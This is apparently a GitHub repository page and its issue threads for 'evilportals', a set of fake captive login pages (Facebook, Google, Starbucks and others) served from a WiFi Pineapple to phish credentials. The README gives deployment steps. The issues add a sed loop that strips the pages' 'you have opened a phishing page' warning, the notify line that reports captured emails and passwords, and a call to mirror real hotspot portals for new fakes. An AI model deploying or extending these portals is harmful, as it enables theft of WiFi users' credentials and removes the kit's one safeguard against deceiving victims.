kleo/evilportals

A collection of captive portals for phishing using a WiFi Pineapple

Evil Portals

Evil Portals is a collection of portals that can be loaded into the Evil Portal module and can be used for phishing attacks against WiFi clients in order to obtain credentials or infect the victims with malware using the Hak5 WiFi Pineapple Tetra and Nano.

This project requires you to install Evil Portal captive portal module created by frozenjava. To install on the Pineapple, go to Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories -> Evil Portal 3.2.

Tested working on the WiFi Pineapple Nano MK VI only.

---

Usage

Clone the repository

git clone https://github.com/kleo/evilportals

Change directory to evilportals/portals/

cd evilportals/portals/

Copy the portals you wish to use on the Tetra at /root/portals/ or on the Nano at /sd/portals/

scp -r portal-login [email protected]:/root/portals/

Alternatively you can use Filezilla to copy the portals

Host: sftp://172.16.42.1 Username: root Password: lamepassword Port: 22

Finally on the WiFi Pineapple web interface, start the Evil Portal module and then activate the portal you wish to use.

After gathering credentials, captured data will be shown as a notification on the WiFi Pineapple web interface. Logs are found at Modules > Evil Portal > Logs > View.

---

Screenshots

Demo

WiFi.Pineapple.-.Evil.Portals.Facebook.and.Yahoo.login.mp4

---

License

Evil Portals is distributed under the GNU GENERAL PUBLIC LICENSE v3. See LICENSE for more information.

Disclaimer

• Usage of Evil Portals for attacking infrastructures without prior mutual consistency can be considered as an illegal activity. It is the final user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program.

---

Some of the portals here are also available for Wifiphisher, available here wifiphisher/extra-phishing-pages

Discussion thread - Hak5 Forums

evilportals's Issues

Can not see log file.

It is not creating file or folder at given location.
/root/evilportal-logs/portal-login.txt

Netflix evil portal

Crosslinking this for extra portals:
https://github.com/JonnyBanana/Netflix_EVIL_PORTAL

Sorry

Instagram Captive Portal!!

Can it be possible to do the Instagram Evil Portal or not? We could even contribute with some donations maybe if it works.

Portals not visible

Portal library is empty after following all the steps.
Portals have been definitely copied to the right folder and the content is fine. Pineapple just doesn't see it.

Wifi Pineapple Mark VII

https captive portal shows as http

me and a friend created a captive portal for evilportal with html is looking good in the preview box within EP but in the connectivitycheck.gstatic.com it runs as http and looks really ugly is there a solution to get it alsow shown there as https???

Permanent Clients write unix @->/tmp/modules/evilportal.sock: write: broken pipe

Anyone know what this error means? Seen it a few times when using my wifi pineapple
Permanent Clients
write unix @->/tmp/modules/evilportal.sock: write: broken pipe

Request Login Template Here !

Hey People ,

If you are missing some Portals / Logins , let us know !.
The Best way is to request them here and give some links as example eg. the login page.

i will see what i can do with that info.
Would like to see this growing and evolving.

And if you have any hints ...
Thanks

IF YOU WANT TO SUPPORT US , GO OUT AND SEARCH FOR PUBLIC HOTSPOTS.
THE MORE THAN BETTER !

Connect to the Public Wifi (with portal).
Get the IP info of the Router eg. Portal Page. (This shouldn't be too much hussle. mostly the page will pop up direktly and you can see the ip.)
then use a tool like httrack https://www.httrack.com/ to save the page and its content to an folder on your Harddrive.
SEND US THESE TEMPLATES, I CAN TRANSFORM THEM MOST TIMES!

For some reason not working for me.

I tried them all and when i check preview after i hit "activate" and "start" i hit "live preview" and it shows as "403 forbidden nginx/1.4.7"

gh-pages images

Google web page won't show css

Hello, I installed the web page google-login and everything works fine like logging but css won't load on the page, it just shows google's logo and the text fields/buttons but with no formatting at all.
Any hints?

Users can click Authorize without entering Credentials

I've noticed that in some cases users will click authorize without entering credentials and be added to the authorized list. My suggestion would be to make these fields required. Do you want me to initiate a pull request?

Modified portal not posting to logs

I modified the Starbucks captive portal and deleted the email field from the index.php file, because I waned it to look like a router login with just a password but now it won't post to logs when someone enters a password. Using the Wi-Fi Pineapple MK7, files can be found below:

Index.php: https://pastebin.com/n3p1scQr
MyPortal.php: https://pastebin.com/DT9eth4V

Let me know if more files are required to fix the issue.

Firmware Evil Portal

Phish WiFi creds with a fake firmware update page .. tested on the WiFi Pineapple Mark VII

https://github.com/akil0richardson/Firmware-evil-portal

Uncaught SyntaxError: Unexpected token '<' Starbucks Portal

Notify doesn't work

Hi! While trying your portal everything works fine except that it doesn't notify when new credentials have been captured. I am using the Mark 7. I noticed that in the Mark 7 you have to specify the notification type like success or fail but after modifying the code to add this it still won't notify anything. This is my current command:
exec("notify success '{$email} - {$pwd}' evilportal");
Do you have anyway of getting the notifications working on the mark 7?

patch warning

how to patch pussy warning:

cd evilportals/portals
for path in $(grep -r Warning | cut -d ":" -f1); do sed -i 's/<div id="warning">Warning: You have opened a phishing page. Do not enter your login credentials!<\/div>//g' $path; done

or

cd /sd/portals/
for path in $(find -iname index.php); do sed -i 's/<div id="warning">Warning: You have opened a phishing page. Do not enter your login credentials!<\/div>//g' $path; done

Wrong Authorization Message Displaying After Credentials

On all of these portals I've noticed that after entering in credentials, I get the showError() authorization response as opposed to the showSuccess() response. I am still investigating - but from what I've seen the Portal.php code seems sound. Is the problem with these portals specifically, or should I continue to investigate the EvilPortal code? Is anyone else having this issue?

Authorization

Can't seem to get the portals to enter the IPs into the authorized list after login.

Redirecting/HTTPS

When creating a new portal. At the top of the index.php script where it's parsing the requested URL.

It's currently:
$destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
And should be:
$destination = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
And this would allow http or https:
$destination = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";

Also redirecting doesn't work. What function starts handleAuthorization? onSuccess() is working, but
redirect() isn't.

In MyPortal script your notes say that we can put in what we want, but the redirect() function is
inside the protected handleAuthorization.

Maybe leaving redirect inside the public function in the myportal script?

portal login file not found

I am having trouble copying the portals
After I submit my password it says

root@kali:~/evilportals/portals# scp -r portal-login [email protected]:/root/portals/
[email protected]'s password:
portal-login: No such file or directory

EvilportalsNano

Am I missing a file or has the "portal-login" file been removed?

Development branch of the Evil Portal has been installed (v3.1)
Pineapple(v2.2.0)
Linux kali 4.13.0

DOWNLOAD IS BROKEN

DOWNLOAD IS BROKEN
Says Source not available

—

None Of The Templates Are Logging

Hey, I am having an issue with having the first login page I try to get it to log the info they log in with but it just won't work I am unsure if I am meant to do any further config. I will probably have issues with the other templates but the first one is giving me problems.

EDIT: none of the templates I have tried log: Google, Yahoo, Facebook, Starbucks & Twitter. Also is it meant to say you are not authorized every time?

Thanks, Kaptian Core

possibility to use own login forms?

Is it perhaps also possible to add your own login forms? If yes is there some where a guide?

You have not been authorized

Hi,

I used all the portals, but for all except for Default, the user receives a blank page with the message: You have not been authorized

Is their a specific reason?

Thanks for help

Contributing Pages + wifi-connect page porting

hi @kbeflo,

I think the potential of evil portal is amazing with quality pages like yours. Unfortunately I don't know how to code yet, but I can def learn how to edit existing pages . I've already ported 2 pages from fluxion to work with Nano, would like to contribute it to your repository but I'm not sure how :P please let me know how i can do it.. i would just upload the folder as is and you can test it .

On another note, I tried porting the wifi-connect page of wifiphisher and got halfway but stuck as I am not able to get the pop-out to work: link to actual page: https://github.com/wifiphisher/wifiphisher/tree/master/wifiphisher/data/phishing-pages/wifi_connect

first port (on old version): https://github.com/kn0wledge/Evilportal-wifi-connect

the old one works but has scaling issues on PC and Mac and does not have a pop out for android and ios.. can we partner on making this one work? and anyway of keeping the automation of detecting the essid that serve them with the same essid name during the password prompt?

thanks man

You have not been authorized (2)

I'm having the same issue, I get a successful log and the clients IP is added to "Authorized", but a page saying "You have not been authorized" displays, and when the client attempts to close, iOS asks to "Use Without Internet" Any suggestions? @kbeflo @H4xl0r

Thank you, my Pineapple has an internet connection and works without the portal turned on.

Originally posted by @ryanrohypnol in #21 (comment)

Not working with Pineapple wifi mark V

How do I get this script working with the Pineapple wifi mark V?

No Issues - Works Perfectly!

Just create more!! very well done man.

You think you can emulate wifiphisher templates? and fluxion templates to work as well? They are cool cause they are very believable.

No web notification after attemp to log in

Using the latest pineapple firmware (2.1) and latest evilportal.

I tried the google portal, I found the credentials on the logs files (/sd/evilportal-logs) but nothing happened on the web UI.

Is it possible to use the pages from wifiphisher too?

I've been trying for some hours but i'm kinda stuck as i don't know that much about html and php, but how can i make the pages from "https://github.com/wifiphisher/extra-phishing-pages" work on evil portals on the pineapple?
If i move them to the folder it finds them but i can't activate them

Instagram Portal is deformed

When i try to login from iPhone this is what I see, the text boxes are bigger than the normal page.
See the images I included, Thanks.

optimumwifi

Would love to see one for optimumwifi 👍